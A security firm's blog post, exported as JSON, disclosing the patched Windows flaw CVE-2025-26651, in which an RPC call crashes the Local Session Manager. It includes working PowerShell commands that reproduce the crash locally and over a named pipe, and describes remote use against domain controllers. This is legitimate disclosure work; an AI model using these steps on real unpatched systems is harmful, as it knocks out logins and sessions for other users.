{"id":7194,"date":"2025-05-07T17:03:38","date_gmt":"2025-05-07T15:03:38","guid":{"rendered":"https:\/\/warpnet.nl\/?p=7194"},"modified":"2025-12-08T13:21:55","modified_gmt":"2025-12-08T12:21:55","slug":"cve-2025-26651-pressing-the-lsm-kill-switch","status":"publish","type":"post","link":"https:\/\/warpnet.nl\/en\/blog\/cve-2025-26651-pressing-the-lsm-kill-switch\/","title":{"rendered":"CVE-2025-26651: Pressing the LSM kill switch"},"content":{"rendered":"<p class=\"has-medium-font-size\">Warpnet colleague Remco van der Meer researched Microsoft Remote Procedure Call (MS-RPC) and stumbled upon several vulnerabilties in Windows built-in exposed procedures. One of them causes Local Session Manager (LSM) to crash by a simple RPC call. The vulnerability was patched within April&#x2019;s patch tuesday and was assigned <a href=\"https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2025-26651\" target=\"_blank\" rel=\"noopener\">CVE-2025-26651<\/a>. This post will describe how Remco discovered the vulnerability and will describe it&#x2019;s impact and attack-surface.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Discovering the vulnerability<\/h2>\n\n\n\n<p>To be honest, this is the most boring part of the story. I ran my fuzzer against all dll&#x2019;s and exe&#x2019;s in <code>\\Windows\\System32\\<\/code>. After running it nothing seemed to have happen. But once I wanted to reconnect to my VM over RPD I couldn&#x2019;t anymore. Connecting normally with Hyper-V was allowed, but once I wanted to login this error showed up:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1020\" height=\"759\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/0.png\" alt=\"\" class=\"wp-image-7202\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/0.png 1020w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/0-300x223.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/0-768x571.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/0-16x12.png 16w\" sizes=\"(max-width: 1020px) 100vw, 1020px\"\/><figcaption class=\"wp-element-caption\">Error after logging in: The RPC server is unavailable<\/figcaption><\/figure>\n\n\n\n<p>What happend? Of course I ran it again to see if it was actually triggered by my fuzzer or that it was just coincidence. And yes, it happend again. Because I fired my fuzzer against all the DLL&#x2019;s and executables in the <code>System32<\/code>, I was not sure what RPC call caused this behaviour.<\/p>\n\n\n\n<p>I opened event viewer and cleared the system logs. After running my fuzzer again, I checked event viewer and noticed this:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"626\" height=\"442\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/1.png\" alt=\"\" class=\"wp-image-7195\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/1.png 626w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/1-300x212.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/1-18x12.png 18w\" sizes=\"(max-width: 626px) 100vw, 626px\"\/><figcaption class=\"wp-element-caption\">Event logs show that the Local Session Manager service terminated unexpectedly<\/figcaption><\/figure>\n\n\n\n<p>It seemed that something was crashing Local Session Manager (LSM). The Local Session Manager service is a system service responsible for handling user sessions. It plays a critical role in managing the lifecycle of user logins and logouts, coordinating with other system components to create, terminate, and switch between sessions. Because I ran my fuzzer from a low user perspective, this meant that a low user can crash LSM!<\/p>\n\n\n\n<p>But how do we find what RPC call was made? Well for crashes like this it is a bit harder, because a RPC Server won&#x2019;t respond with a message like &#x201C;Hey I crashed&#x201D; right? Oh wait; it does.<\/p>\n\n\n\n<p>Checking the JSON output files after fuzzing, the RPC call <code>RpcGetSessionIds<\/code> in <code>lsm.dll<\/code> resulted in the error: <code>Attempt to send a message to a disconnected communication port<\/code>. The RPC calls before that were other errors about some bad data. The RPC calls after that only resulted in the same error message.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"475\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/2-1024x475.png\" alt=\"\" class=\"wp-image-7207\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/2-1024x475.png 1024w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/2-300x139.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/2-768x356.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/2-18x8.png 18w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/2.png 1275w\" sizes=\"(max-width: 1024px) 100vw, 1024px\"\/><figcaption class=\"wp-element-caption\">Fuzz data shows that the communication port got disconnected<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Manually verifying the vulnerability<\/h2>\n\n\n\n<p>Let&#x2019;s reboot the host and make the <code>RpcGetsessionIds<\/code> call manually. The definition of the call is:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"csharp\" class=\"language-csharp\">RpcGetSessionIds(NtCoreLib.Ndr.Marshal.NdrEnum16 p0, int p1)<\/code><\/pre>\n\n\n\n<p>For the first parameter it takes a Marshalled <code>NdrEnum16<\/code> and a integer as parameters. <code>NdrEnum16<\/code> is a marshaling type used by Microsoft&#x2019;s Network Data Representation (NDR) engine. It represents a 16-bit enumeration (enum) type, meaning it is a 2-byte integer used to transfer enum values in an RPC call.<\/p>\n\n\n\n<p>The question is: What did my fuzzer use as values for these parameters? The fuzzer keeps a log that shows this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">RPCserver: lsm.dll \nProcedure: RpcGetSessionIds\nParams: 0, 0\n------------------------<\/code><\/pre>\n\n\n\n<p>Okay, both values were just <code>0<\/code>, interesting. We can use <a href=\"https:\/\/www.powershellgallery.com\/packages\/NtObjectManager\" target=\"_blank\" rel=\"noopener\">NtObjectManager<\/a> to get a RPC client that can connect to the RPC-interface of <code>lsm.dll<\/code>. But we first set the path for the global symbol resolver.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\"># Parse debug.dll for symbols\n$debuggerPath = &quot;$env:systemdrive\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\dbghelp.dll&quot;\nSet-GlobalSymbolResolver -DbgHelpPath $debuggerPath <\/code><\/pre>\n\n\n\n<p>Next, we check the available RPC interfaces for the LSM RPC server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user\\Documents\\RPC&gt; $rpcinterface = &quot;C:\\\\WINDOWS\\\\System32\\\\lsm.dll&quot; | Get-RpcServer\nPS C:\\Users\\user\\Documents\\RPC&gt; $rpcinterface\n\nName    UUID                                 Ver Procs EPs Service Running\n----    ----                                 --- ----- --- ------- -------\nlsm.dll 11f25515-c879-400a-989e-b074d5f092fe 1.0 11    0   LSM     False\nlsm.dll 1e665584-40fe-4450-8f6e-802362399694 1.0 4     0   LSM     False\nlsm.dll 88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0 12    0   LSM     False\nlsm.dll 11899a43-2b68-4a76-92e3-a3d6ad8c26ce 1.0 4     0   LSM     False\nlsm.dll 53825514-1183-4934-a0f4-cfdc51c3389b 1.0 5     0   LSM     False\nlsm.dll e3907f22-c899-44e7-9d11-9d8b3d924832 1.0 7     0   LSM     False\nlsm.dll c2d15ccf-a416-46dc-ba58-4624ac7a9123 1.0 3     0   LSM     False\nlsm.dll 484809d6-4239-471b-b5bc-61df8c23ac48 1.0 21    0   LSM     False\nlsm.dll c938b419-5092-4385-8360-7cdc9625976a 1.0 2     0   LSM     False<\/code><\/pre>\n\n\n\n<p>Hmm, okay it has a few. Luckily, my fuzzer keeps track over which RPC-interface the call was made. This seemed to be <code>88143fd0-c28d-4b2b-8fef-8d882f6a9390<\/code>. So the third one in the list. Let&#x2019;s get that one:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user\\Documents\\RPC&gt; $lsmint = $rpcinterface[2]<\/code><\/pre>\n\n\n\n<p>NtObjectManager will actually try to find what Windows Service is using this RPC interface:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; $lsmint | fl\n\nInterfaceId        : 88143fd0-c28d-4b2b-8fef-8d882f6a9390\nInterfaceVersion   : 1.0\nProcedureCount     : 12\nServer             : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0\nProcedures         : {Proc0, ServiceMain, ServiceMain, ServiceMain&hellip;}\nComplexTypes       : {Struct_0, Union_1, Struct_2, Struct_3&hellip;}\nNdr64Procedures    : {Proc0, ServiceMain, ServiceMain, ServiceMain&hellip;}\nNdr64ComplexTypes  : {}\nFilePath           : C:\\WINDOWS\\System32\\lsm.dll\nName               : lsm.dll\nOffset             : 635824\nServiceName        : LSM\nServiceDisplayName : Local Session Manager\nIsServiceRunning   : True\nEndpoints          : {}\nEndpointCount      : 0\nClient             : False<\/code><\/pre>\n\n\n\n<p>We can see it is LSM. But NtObjectManager couldn&#x2019;t find any endpoints here. In order to connect a RPC client, we need a endpoint to connect to. Luckily, <a href=\"https:\/\/www.tiraniddo.dev\/2022\/06\/finding-running-rpc-server-information.html\" target=\"_blank\" rel=\"noopener\">James Forshaw<\/a> of course did some research into this and found a few methods to gather (Alpc) endpoints for RPC interfaces using a bruteforce method:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort\n\nUUID                                 Version Protocol Endpoint                        Annotation\n----                                 ------- -------- --------                        ----------\n88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0     ncalrpc  LSMApi\n88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0     ncalrpc  OLE3F5803A8AB099E675A9C85E1B737\n88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0     ncalrpc  LRPC-804b316a3a786bb5e7\n```\n\nIt finds three (Alpc) endpoints. It can even give us the binding string:\n```powershell\nPS C:\\Users\\user&gt; (Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort).BindingString\nncalrpc:[LSMApi]\nncalrpc:[OLE3F5803A8AB099E675A9C85E1B737]\nncalrpc:[LRPC-804b316a3a786bb5e7]<\/code><\/pre>\n\n\n\n<p>It finds three (Alpc) endpoints. It can even give us the binding string:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; (Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort).BindingString\nncalrpc:[LSMApi]\nncalrpc:[OLE3F5803A8AB099E675A9C85E1B737]\nncalrpc:[LRPC-804b316a3a786bb5e7]<\/code><\/pre>\n\n\n\n<p>We can use one of these binding strings to connect our client:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; $client = $lsmint | Get-RpcClient\nPS C:\\Users\\user&gt; connect-rpcclient $client -StringBinding &quot;ncalrpc:[LSMApi]&quot;\n\n# Check out connected client\nPS C:\\Users\\user&gt; $client\n\nNew               : _Constructors\nNewArray          : _Array_Constructors\nConnected         : True\nEndpoint          : \\RPC Control\\LSMApi\nProtocolSequence  : ncalrpc\nObjectUuid        :\nInterfaceId       : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0\nTransport         : NtCoreLib.Win32.Rpc.Transport.RpcAlpcClientTransport\nDefaultTraceFlags : None<\/code><\/pre>\n\n\n\n<p>Let&#x2019;s check for the vulnerable RPC call <code>RpcGetSessionIds<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; $client | gm | Where-Object { $_.Name -eq 'RpcGetSessionIds' } | fl\n\nTypeName   : Client\nName       : RpcGetSessionIds\nMemberType : Method\nDefinition : RpcGetSessionIds_RetVal RpcGetSessionIds(NtCoreLib.Ndr.Marshal.NdrEnum16 p0, int p1)<\/code><\/pre>\n\n\n\n<p>Great, now we can invoke the RPC call with the same parameter values as my fuzzer:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\"># Check LSM before invoking RPC call\nPS C:\\Users\\user&gt; Get-Service lsm\n\nStatus   Name               DisplayName\n------   ----               -----------\nRunning  lsm                Local Session Manager\n\n# Invoke RPC call\nPS C:\\Users\\user&gt; $client.RpcGetSessionIds(0,0)\nMethodInvocationException: Exception calling &quot;RpcGetSessionIds&quot; with &quot;2&quot; argument(s): &quot;(0xC0000701) - The ALPC message requested is no longer available.&quot;\n\n# Check LSM after invoking RPC call\nPS C:\\Users\\user&gt; Get-Service lsm\n\nStatus   Name               DisplayName\n------   ----               -----------\nStopped  lsm                Local Session Manager<\/code><\/pre>\n\n\n\n<p>We managed to manually verify that <code>RpcGetSessionIds<\/code> is causing LSM to crash. But what is the root cause of this?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Root cause analysis<\/h2>\n\n\n\n<p>When I tried to exploit the vulnerability on a Windows-10 based machine, it didn&#x2019;t work. So it seems there is a difference in how this call get&#x2019;s handled by the RPC server on Windows 11. Let&#x2019;s use Ghidra to see if we can get a better understanding of the root cause.<\/p>\n\n\n\n<p>I attached Windbg to the LSM process, ran the RPC call and looked at the call stack:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"848\" height=\"444\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4.png\" alt=\"\" class=\"wp-image-7203\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4.png 848w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4-300x157.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4-768x402.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/4-18x9.png 18w\" sizes=\"(max-width: 848px) 100vw, 848px\"\/><figcaption class=\"wp-element-caption\">Windbg Call Stack shows RpcGetSessionIds instruction<\/figcaption><\/figure>\n\n\n\n<p>One thing that I thought was odd, is that it triggers an debug break. Then I loaded <code>lsm.dll<\/code> from a Windows-11 host in Ghidra, parsed the lsm.pdb and analyzed the binary. I set the base address and searched for the <code>RpcGetSessionIds<\/code> function and eventually got here:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"797\" height=\"189\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/5.png\" alt=\"\" class=\"wp-image-7197\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/5.png 797w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/5-300x71.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/5-768x182.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/5-18x4.png 18w\" sizes=\"(max-width: 797px) 100vw, 797px\"\/><figcaption class=\"wp-element-caption\">Output in Ghidra for the RpcGetSessionIds function for lsm.dll of Windows 11<\/figcaption><\/figure>\n\n\n\n<p>The function only seems to call <code>DebugBreak<\/code>, which is a function in <code>API-MS-WIN-CORE-DEBUG-L1-1-0.DLL<\/code> but is skipped when there is no debugger attached. With no debugger attached (normal case), the function should only return <code>0x80004001<\/code> which is the Windows message for <code>Not implemented<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"c\" class=\"language-c\">undefined8 RpcGetSessionIds(void)\n{\n  DebugBreak();\n  return 0x80004001; \/\/ Equivalent to &quot;Not implemented&quot;\n}<\/code><\/pre>\n\n\n\n<p>Maybe you can already kinda see where this is heading to. Let&#x2019;s compare this function with the <code>lsm.dll<\/code> and <code>lsm.pdb<\/code> from a Windows-10 based host (since W10 doesn&#x2019;t seem vulnerable), using the same method with Ghidra.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"966\" height=\"711\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/6.png\" alt=\"\" class=\"wp-image-7201\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/6.png 966w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/6-300x221.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/6-768x565.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/6-16x12.png 16w\" sizes=\"(max-width: 966px) 100vw, 966px\"\/><figcaption class=\"wp-element-caption\">Different output in Ghidra for the RpcGetSessionIds function for lsm.dll of Windows 10<\/figcaption><\/figure>\n\n\n\n<p>This actually holds the functionality for <code>RpcGetSessionIds<\/code>, whereas Windows 11 doesn&#x2019;t. If we take a look at the call stack on Windows-11 in Windbg after crashing LSM, we see:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"758\" height=\"417\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/7.png\" alt=\"\" class=\"wp-image-7199\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/7.png 758w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/7-300x165.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/7-18x10.png 18w\" sizes=\"(max-width: 758px) 100vw, 758px\"\/><figcaption class=\"wp-element-caption\">Call stack in Windbg when performing the RPC call<\/figcaption><\/figure>\n\n\n\n<p><code>rpcrt4.dll<\/code> is the system library in Windows that actually implements the Remote Procedure Call (RPC) runtime. It seems that <code>rpcrt4.dll<\/code> is not aware that <code>RpcGetSessionIds<\/code> <a href=\"https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tsts\/922264ed-0a2d-441f-a71c-2d3ffa975814\" target=\"_blank\" rel=\"noopener\">(Opnum 8)<\/a> is not implemented anymore. Next to that, LSM doesn&#x2019;t seem to properly handle the error and crashes. The question is: should the function be available on Windows-11 or should it not exist at all?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Impact<\/h2>\n\n\n\n<p>By crashing LSM, all users cannot login\/logout anymore and the user&#x2019;s session are unstable. Other than that, all dependencies on LSM wouldn&#x2019;t work, these include RDP, Docker and security features such as Microsoft Defender Application Guard and Sandbox.<\/p>\n\n\n\n<p>But what if a administrator is logged in and tries to start the service again? Well&#x2026; not happening, the service is dead:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"96\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/3-1024x96.png\" alt=\"\" class=\"wp-image-7196\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/3-1024x96.png 1024w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/3-300x28.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/3-768x72.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/3-18x2.png 18w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/3.png 1336w\" sizes=\"(max-width: 1024px) 100vw, 1024px\"\/><figcaption class=\"wp-element-caption\">The LSM service cannot be started from a elevated shell<\/figcaption><\/figure>\n\n\n\n<p>But wait, there is more..<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Oh no; Remotely crashing LSM<\/h2>\n\n\n\n<p>After doing a bit of research online on previous discovered vulnerabilities on LSM, I came across <a href=\"https:\/\/www.akamai.com\/blog\/security-research\/msrpc-lsm-cve-disturbing-hosts-rest\" target=\"_blank\" rel=\"noopener\">this great blogpost by Akamai<\/a>.<\/p>\n\n\n\n<p>Which describes that: <em>This interface is supposed to be only accessible through the hvsocket to containers. In our case, LSM registers a named pipe endpoint &#x201C;\\pipe\\LSM_API_service&#x201D;, which is remotely accessible. Because of endpoint multiplexing, a remote attacker can connect to the named pipe endpoint and send a request to the container&#x2019;s interface.<\/em><\/p>\n\n\n\n<p>Recall that we can connect to RPC through different protocols like TCP, UDP, HTTP and also SMB (ncacn_np).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"467\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/8.png\" alt=\"\" class=\"wp-image-7200\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/8.png 602w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/8-300x233.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/8-15x12.png 15w\" sizes=\"(max-width: 602px) 100vw, 602px\"\/><figcaption class=\"wp-element-caption\">Allowed protocols for remote RPC connections<\/figcaption><\/figure>\n\n\n\n<p>The vulnerability that was stated in the blogpost was discovered in another RPC-interace <code>c938b419-5092-4385-8360-7cdc9625976a<\/code>. However, it was in the same RPC server of LSM. To check if we can use <code>\\pipe\\LSM_API_service<\/code> as named pipe to invoke the RPC call, we can first connect our RPC client using NtObjectManager locally:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; connect-rpcclient $client -StringBinding &quot;ncacn_np:[\\\\pipe\\\\LSM_API_service]&quot;\nPS C:\\Users\\user&gt; $client\n\nNew               : _Constructors\nNewArray          : _Array_Constructors\nConnected         : True\nEndpoint          : \\Device\\NamedPipe\\LSM_API_service\nProtocolSequence  : ncacn_np\nObjectUuid        :\nInterfaceId       : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0\nTransport         : NtCoreLib.Win32.Rpc.Transport.RpcNamedPipeClientTransport\nDefaultTraceFlags : None\n<\/code><\/pre>\n\n\n\n<p>It connects! Let&#x2019;s see if we are allowed to invoke the vulnerable RPC call:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; $client.RpcGetSessionIds(0,0)\nMethodInvocationException: Exception calling &quot;RpcGetSessionIds&quot; with &quot;2&quot; argument(s): &quot;(0x80070005) - Access is denied.&quot;<\/code><\/pre>\n\n\n\n<p>Access denied.. But there are some connection options like specifying the authentication type and level:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"powershell\" class=\"language-powershell\">PS C:\\Users\\user&gt; connect-rpcclient $client -StringBinding &quot;ncacn_np:[\\\\pipe\\\\LSM_API_service]&quot; -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT\n\n\n# Invoking the RPC call again\nPS C:\\Users\\user&gt; $client.RpcGetSessionIds(0,0)\nMethodInvocationException: Exception calling &quot;RpcGetSessionIds&quot; with &quot;2&quot; argument(s): &quot;(0xC000014B) - The pipe operation has failed because the other end of the pipe has been closed.&quot;<\/code><\/pre>\n\n\n\n<p>We get the error message again! And LSM is crashed. This means that we can remotely crash LSM too if we are authenticated. I wrote a Python script with impacket authentication (actually modified PetitPotam.py) and fired it against a Windows 11 host with port 445 &amp; 139 opened:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"196\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/9-1024x196.png\" alt=\"\" class=\"wp-image-7204\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/9-1024x196.png 1024w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/9-300x58.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/9-768x147.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/9-18x3.png 18w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/9.png 1246w\" sizes=\"(max-width: 1024px) 100vw, 1024px\"\/><figcaption class=\"wp-element-caption\">Remote exploit succeeds and crashes LSM<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Targeting the domain controller<\/h2>\n\n\n\n<p>How many times is port 445 or 139 open for a regular host? Not that often. But for the domain controller, these are open by default. Using domain credentials, a remote user can crash LSM on the DC!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"200\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/10-1024x200.png\" alt=\"\" class=\"wp-image-7205\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/10-1024x200.png 1024w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/10-300x58.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/10-768x150.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/10-18x4.png 18w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/10.png 1216w\" sizes=\"(max-width: 1024px) 100vw, 1024px\"\/><figcaption class=\"wp-element-caption\">Remote exploit succeeds and crashes LSM on the Domain Controller<\/figcaption><\/figure>\n\n\n\n<p>Of course we can also target other hosts, as long as port 139 or 445 is open.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The fix<\/h2>\n\n\n\n<p>The vulnerability was patched within April&#x2019;s patch tuesday. After installing the updates on a Windows 11 host and reversing the <code>LSM.dll<\/code> file again with Ghidra, we can see the difference for the <code>RpcGetSessionIds<\/code> function:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"927\" height=\"317\" src=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/11.png\" alt=\"\" class=\"wp-image-7198\" srcset=\"https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/11.png 927w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/11-300x103.png 300w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/11-768x263.png 768w, https:\/\/warpnet.nl\/wp-content\/uploads\/2025\/05\/11-18x6.png 18w\" sizes=\"(max-width: 927px) 100vw, 927px\"\/><figcaption class=\"wp-element-caption\">RpcGetSessionIds function after April&#x2019;s patch tuesday<\/figcaption><\/figure>\n\n\n\n<p>Now, it checks a feature flag via Windows Implementation Library (WIL). If the feature is disabled, it triggers a DebugBreak(). Regardless of the feature flag, it still returns <code>E_NOTIMPL<\/code>. So the function was not removed, probably for compatability reasons.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Timeline<\/h2>\n\n\n\n<p><strong>01-03-2025<\/strong> : Vulnerability report submitted<\/p>\n\n\n\n<p><strong>03-03-2025<\/strong> : Case opened for the issue<\/p>\n\n\n\n<p><strong>10-03-2025<\/strong> : Status changed from Review\/Repro to Develop<\/p>\n\n\n\n<p><strong>10-03-2025<\/strong> : Case is possibly in scope for a bounty and under review<\/p>\n\n\n\n<p><strong>18-03-2025<\/strong> : Status changed from Develop to Pre-Release<\/p>\n\n\n\n<p><strong>20-03-2025<\/strong> : CVE-2025-26651 granted, heads-up for April patch Tuesday<\/p>\n\n\n\n<p><strong>21-03-2025<\/strong> : Case is in scope for a bounty<\/p>\n\n\n\n<p><strong>08-04-2025<\/strong> : April&#x2019;s patch tuesday includes the fix<\/p>\n\n\n\n<p><strong>10-04-2025<\/strong> : Status changed from Pre-Release to Complete<\/p>\n\n\n\n<p><strong>16-04-2025<\/strong> : Bounty awarded<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Sources<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/github.com\/googleprojectzero\/sandbox-attacksurface-analysis-tools\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/googleprojectzero\/sandbox-attacksurface-analysis-tools<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/rpc\/rpc-start-page\" target=\"_blank\" rel=\"noopener\">https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/rpc\/rpc-start-page<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows-hardware\/drivers\/debugger\/\" target=\"_blank\" rel=\"noopener\">https:\/\/learn.microsoft.com\/en-us\/windows-hardware\/drivers\/debugger\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/ghidra-sre.org\/\" target=\"_blank\" rel=\"noopener\">https:\/\/ghidra-sre.org\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tsts\/922264ed-0a2d-441f-a71c-2d3ffa975814\" target=\"_blank\" rel=\"noopener\">https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tsts\/922264ed-0a2d-441f-a71c-2d3ffa975814<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-tsts\/0fb8dffb-3d82-43ca-8c09-6f62e36cfc9a\" target=\"_blank\" 